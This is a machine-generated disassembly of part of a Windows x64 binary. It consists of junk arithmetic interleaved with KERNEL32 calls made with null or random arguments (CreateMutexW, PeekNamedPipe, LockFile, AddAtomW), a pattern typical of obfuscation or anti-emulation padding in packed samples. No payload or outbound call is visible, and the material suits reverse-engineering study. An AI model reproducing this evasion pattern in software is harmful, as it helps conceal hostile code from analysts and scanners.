mov rcx, qword [rsp + 0x14ac0]
mov dword [rcx], eax
lea rax, [rsp + 0x8c88]
mov qword [rsp + 0x15468], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
lea rax, [rsp + 0x28f]
mov qword [0x140363ee0], rax
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
and eax, ecx
mov word [rsp + 0x2a9c], ax
movzx eax, word [rsp + 0x2c54]
mov word [rsp + 0x2ca8], ax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65d]
sub eax, ecx
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x13248]
mov ecx, dword [rsp + 0xada8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8df0], eax
mov rax, qword [rsp + 0x137d8]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14c20]
mov dword [rcx], eax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13c60]
mov ecx, dword [rsp + 0xab08]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
lea rax, [rsp + 0x6af8]
mov qword [rsp + 0x15470], rax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov ecx, dword [0x140363b44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa974], eax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x15478], rax
movzx eax, word [rsp + 0x29ec]
movzx ecx, word [0x14035cc38]
add eax, ecx
mov rcx, qword [0x140363da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x133b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14bd0]
mov qword [rsp + 0x15480], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15480]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xabd8], eax
mov rax, qword [rsp + 0x13ad8]
mov ecx, dword [rsp + 0x7410]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14c88]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15488], rax
lea rax, [0x140363ba0]
mov qword [rsp + 0x15490], rax
mov rax, qword [rsp + 0x14078]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13350]
mov qword [rsp + 0x15498], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15498]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x142c8]
mov dword [rcx], eax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x154a0], rax
movzx eax, byte [rsp + 0x65d]
movzx ecx, byte [0x140353582]
or eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2b14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x14e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14030]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0x14140]
movzx eax, word [rax]
mov word [rsp + 0x2cac], ax
mov rax, qword [rsp + 0x15200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7564]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363968]
mov dword [rcx], eax
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13bf8]
mov rcx, qword [rsp + 0x14070]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c30]
mov dword [rcx], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x154a8], rax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x2548]
sub eax, ecx
mov word [rsp + 0x180c], ax
mov rax, qword [rsp + 0x141e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8670], eax
mov rax, qword [rsp + 0x13f60]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaca4], eax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x13b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152f0]
mov eax, dword [rax]
mov dword [rsp + 0xaee8], eax
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0x14ae0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov byte [0x14035e532], al
lea rax, [rsp + 0x924c]
mov qword [rsp + 0x154b0], rax
mov rax, qword [rsp + 0x13588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90d0], eax
mov rax, qword [0x1403639d8]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa73c], eax
mov rax, qword [rsp + 0x14e30]
mov ecx, dword [rsp + 0x6af8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9488], eax
mov rax, qword [0x140363db0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x150e8]
mov qword [rsp + 0x154b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x154b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7c98], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x147e0]
movzx eax, byte [rax]
mov byte [rsp + 0x721], al
movsx eax, word [rsp + 0x1410]
mov rcx, qword [rsp + 0x14140]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x21a0], ax
mov rax, qword [rsp + 0x13670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
or eax, ecx
mov byte [rsp + 0x6be], al
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
mov word [0x140362f84], ax
lea rax, [rsp + 0xab28]
mov qword [rsp + 0x154c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x154c8], rax
mov rax, qword [rsp + 0x13f80]
mov rcx, qword [0x140363c50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14450]
movzx eax, word [rax]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x150f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65d]
and eax, ecx
mov rcx, qword [rsp + 0x151e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x133a0]
mov ecx, dword [rsp + 0xadf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15368]
mov dword [rcx], eax
lea rax, [rsp + 0xab44]
mov qword [rsp + 0x154d0], rax
mov rax, qword [rsp + 0x15240]
mov ecx, dword [rsp + 0x6bc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8638], eax
lea rax, [rsp + 0x6874]
mov qword [rsp + 0x154d8], rax
mov rax, qword [0x1403639e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc54], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x14f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
lea rax, [rsp + 0xabfc]
mov qword [rsp + 0x154e0], rax
mov rax, qword [rsp + 0x14d70]
mov rcx, qword [rsp + 0x14c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d94], eax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x14bf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6d5], al
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad54], eax
mov rax, qword [0x140363e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x146b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25a0], ax
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14af8]
mov word [rcx], ax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x154e8], rax
mov rax, qword [rsp + 0x13c48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363bf8]
shr eax, cl
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14dc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14760]
mov qword [rsp + 0x154f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x154f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13460]
mov rcx, qword [rsp + 0x15240]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142b0]
mov eax, dword [rax]
mov dword [rsp + 0xaeec], eax
mov rax, qword [rsp + 0x14350]
mov ecx, dword [rsp + 0xa350]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c78]
mov dword [rcx], eax
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x154f8], rax
mov rax, qword [rsp + 0x14158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x328]
or eax, ecx
mov byte [rsp + 0x6d3], al
mov eax, dword [rsp + 0x89b8]
mov ecx, dword [rsp + 0xad4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0x9f74]
mov qword [rsp + 0x15500], rax
mov rax, qword [rsp + 0x14050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa14c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
lea rax, [rsp + 0x852c]
mov qword [0x140363ee8], rax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x15508], rax
movzx eax, word [0x140362f84]
movzx ecx, word [rsp + 0x2518]
sub eax, ecx
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
lea rax, [rsp + 0x71c]
mov qword [rsp + 0x15510], rax
mov rax, qword [rsp + 0x13998]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae8]
add eax, ecx
mov word [rsp + 0x1f1c], ax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0x70c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ad8]
mov ecx, dword [rsp + 0x9564]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c20], eax
mov rax, qword [rsp + 0x14648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14580]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
lea rax, [rsp + 0x6c3]
mov qword [rsp + 0x15518], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x15160]
mov rcx, qword [rsp + 0x14280]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140363b80], eax
mov eax, dword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x146c8]
mov qword [rsp + 0x15520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15520]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14438]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2b9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29e8], ax
mov eax, dword [rsp + 0x8958]
mov rcx, qword [rsp + 0x14f50]
mov qword [rsp + 0x15528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
lea rax, [rsp + 0xace8]
mov qword [rsp + 0x15530], rax
mov rax, qword [0x140363e90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa8]
xor eax, ecx
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
mov byte [rsp + 0x722], al
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xaa84]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7758], eax
mov rax, qword [rsp + 0x13cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadb0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f60]
mov eax, dword [rax]
mov dword [rsp + 0xaef0], eax
mov eax, dword [rsp + 0xa8bc]
mov ecx, dword [rsp + 0xac00]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cc70], eax
mov rax, qword [rsp + 0x14bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x15538], rax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [0x140362d84]
add eax, ecx
mov word [rsp + 0x2c50], ax
mov dword [rsp + 0x20], 0x217b
mov r9d, 0x2116
mov r8d, 0x366a
mov edx, 0xd6f
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaef4], eax
mov rax, qword [rsp + 0x152e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56b]
and eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov byte [rcx], al
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x15540], rax
mov rax, qword [rsp + 0x154b0]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov dword [rsp + 0x20], 0x2590
mov r9d, 0x26b5
mov r8d, 0x297d
mov edx, 0x3f2f
mov rcx, qword [rsp + 0x13c70]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xaecc], eax
mov rax, qword [rsp + 0x14660]
mov rcx, qword [rsp + 0x141e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa1bc], eax
mov rax, qword [rsp + 0x153b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6be]
mov byte [0x14035e533], al
lea rax, [rsp + 0xaee4]
mov qword [rsp + 0x15548], rax
mov rax, qword [rsp + 0x15380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab08], eax
lea rcx, str.Qy_YgcNs_SOEZJ_MubkZL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cb4], ax
mov rax, qword [rsp + 0x15238]
mov rcx, qword [rsp + 0x13e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141c8]
mov dword [rcx], eax
lea rax, [rsp + 0xabd8]
mov qword [rsp + 0x15550], rax
movzx eax, word [rsp + 0x2a30]
mov rcx, qword [rsp + 0x142c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29b4], ax
movzx eax, byte [rsp + 0x70b]
mov byte [rsp + 0x723], al
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xac5c]
mov rcx, qword [rsp + 0x14c30]
mov qword [rsp + 0x15558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15558]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x14e60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13dc0]
mov qword [rsp + 0x15560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15560]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x77a0], eax
movsx eax, word [rsp + 0x2a74]
mov rcx, qword [rsp + 0x14b30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140362bf4], ax
movsx eax, byte [rsp + 0x6c7]
movsx ecx, byte [rsp + 0x2f8]
or eax, ecx
mov byte [rsp + 0x468], al
movzx eax, byte [rsp + 0x6e4]
movzx ecx, byte [rsp + 0x6c5]
and eax, ecx
mov byte [rsp + 0x6d3], al
mov rax, qword [rsp + 0x151b0]
movzx eax, word [rax]
mov word [rsp + 0x2cb8], ax
mov rax, qword [rsp + 0x14e50]
mov ecx, dword [rsp + 0xab0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6534], eax
mov eax, dword [0x140363a20]
mov ecx, dword [rsp + 0xae5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14fe0]
mov dword [rcx], eax
lea rax, [rsp + 0xa73c]
mov qword [rsp + 0x15568], rax
mov rax, qword [rsp + 0x15310]
mov rcx, qword [rsp + 0x14eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13da8]
mov dword [rcx], eax
mov rax, qword [0x140363c70]
mov eax, dword [rax]
mov dword [rsp + 0xaef8], eax
mov rax, qword [rsp + 0x14588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
sub eax, ecx
mov byte [rsp + 0x710], al
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362cdc], ax
mov rax, qword [rsp + 0x154e0]
mov rcx, qword [rsp + 0x13c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7dc], eax
lea rax, [rsp + 0xa93c]
mov qword [rsp + 0x15570], rax
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0x14ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ff0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa950], eax
mov rax, qword [rsp + 0x15500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x800c], eax
movzx eax, byte [rsp + 0x705]
movzx ecx, byte [rsp + 0x256]
sar eax, cl
mov byte [rsp + 0x70f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15578], rax
movzx eax, word [rsp + 0x2a88]
mov word [rsp + 0x2cbc], ax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x140363b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29f4]
cdq
idiv ecx
mov rcx, qword [rsp + 0x142e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5e1]
mov rcx, qword [rsp + 0x13d28]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13d78]
mov byte [rcx], al
lea rax, [rsp + 0x8388]
mov qword [0x140363ef0], rax
lea rdx, [rsp + 0x142d0]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa34], eax
lea rax, [rsp + 0xabdc]
mov qword [rsp + 0x15580], rax
lea rcx, [0x140330da0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cc0], ax
movzx eax, word [rsp + 0x2bb0]
movzx ecx, word [rsp + 0x2ac4]
shl eax, cl
mov word [rsp + 0x2c18], ax
lea rax, [rsp + 0x6e7]
mov qword [rsp + 0x15588], rax
mov rax, qword [0x140363db0]
mov ecx, dword [rsp + 0xaa64]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa974], eax
mov rax, qword [rsp + 0x14ae8]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6384], eax
mov rax, qword [rsp + 0x15138]
mov rcx, qword [rsp + 0x139f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8374], eax
mov dword [rsp + 0x20], 0x3005
mov r9d, 0x24f7
mov r8d, 0xb4b
mov edx, 0x3c27
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xacc8], eax
movzx eax, word [rsp + 0x1008]
mov word [rsp + 0x2cc4], ax
lea rdx, [rsp + 0x45ea8]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacd4], eax
lea rax, [rsp + 0x708]
mov qword [0x140363ef8], rax
mov rax, qword [rsp + 0x13358]
mov ecx, dword [rsp + 0x69fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaafc], eax
mov eax, dword [rsp + 0x9d18]
mov ecx, dword [rsp + 0xa854]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
mov eax, dword [0x140363a64]
mov dword [rsp + 0xaefc], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaee8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa398], eax
mov r9d, 2
lea r8, [rsp + 0x14540]
mov rdx, qword [rsp + 0x14fc0]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad80], eax
mov rax, qword [rsp + 0x13d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d0], eax
mov rax, qword [0x140363ce0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15510]
mov byte [rcx], al
lea rax, [rsp + 0x2cac]
mov qword [rsp + 0x15590], rax
movzx eax, byte [rsp + 0x2c8]
movzx ecx, byte [rsp + 0x6e3]
and eax, ecx
mov byte [rsp + 0x6be], al
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
sub eax, ecx
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xadd4]
shr eax, cl
mov dword [rsp + 0xacb0], eax
lea rax, [rsp + 0x6e80]
mov qword [rsp + 0x15598], rax
mov rax, qword [rsp + 0x14ff0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b20], ax
mov rax, qword [rsp + 0x15128]
movzx eax, byte [rax]
mov byte [rsp + 0x724], al
mov eax, dword [rsp + 0xaa7c]
mov rcx, qword [rsp + 0x13d10]
mov qword [rsp + 0x155a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8bb8], eax
mov rax, qword [rsp + 0x14a98]
mov rcx, qword [rsp + 0x13938]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac1c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaefc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8828], eax
mov eax, dword [rsp + 0xaad8]
mov ecx, dword [0x140363d80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b4], eax
movzx eax, byte [rsp + 0x282]
movzx ecx, byte [rsp + 0x6ce]
sub eax, ecx
mov byte [0x1403535a7], al
lea rax, [rsp + 0x2bf4]
mov qword [rsp + 0x155a8], rax
mov eax, dword [rsp + 0x7364]
mov ecx, dword [0x140363d24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f10]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6824], eax
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0x155b0], rax
movsx eax, byte [0x14035e4a7]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x29a0]
mov word [rsp + 0x2cc8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
mov rax, qword [rsp + 0x140a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53b]
or eax, ecx
mov byte [rsp + 0x328], al
mov eax, dword [rsp + 0xad40]
mov ecx, dword [0x14035cc50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x924c], eax
mov rax, qword [rsp + 0x139e8]
mov ecx, dword [rsp + 0xaba8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a68]
mov eax, dword [rax]
mov ecx, dword [str.__M6_f]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x72f8], eax
mov rax, qword [rsp + 0x14ff8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x148c0]
mov qword [rsp + 0x155b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xae20], eax
mov eax, dword [rsp + 0x8c20]
mov dword [rsp + 0xaf00], eax
movzx eax, word [0x140362cdc]
mov rcx, qword [rsp + 0x151d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2cb0], ax
lea rax, [rsp + 0x434]
mov qword [rsp + 0x155c0], rax
lea rdx, [rsp + 0x13e28]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa94c], eax
mov rax, qword [rsp + 0x13688]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c30]
sar eax, cl
mov dword [rsp + 0x7c24], eax
mov rax, qword [rsp + 0x13a88]
mov rcx, qword [rsp + 0x146d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14f28]
mov dword [rcx], eax
lea rax, [rsp + 0x7784]
mov qword [rsp + 0x155c8], rax
mov eax, dword [rsp + 0xaaa4]
mov ecx, dword [rsp + 0xa908]
and ecx, eax
mov eax, ecx
mov dword [0x14035cbdc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x155d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0x14ec0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14748]
mov word [rcx], ax
mov rax, qword [rsp + 0x151a0]
movzx eax, byte [rax]
mov byte [rsp + 0x725], al
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0x14af0]
movsx eax, byte [rax]
mov rcx, qword [0x140363b48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a1c]
movsx ecx, word [rsp + 0x2aec]
sub eax, ecx
mov word [rsp + 0x2a5c], ax
mov eax, dword [rsp + 0xadb4]
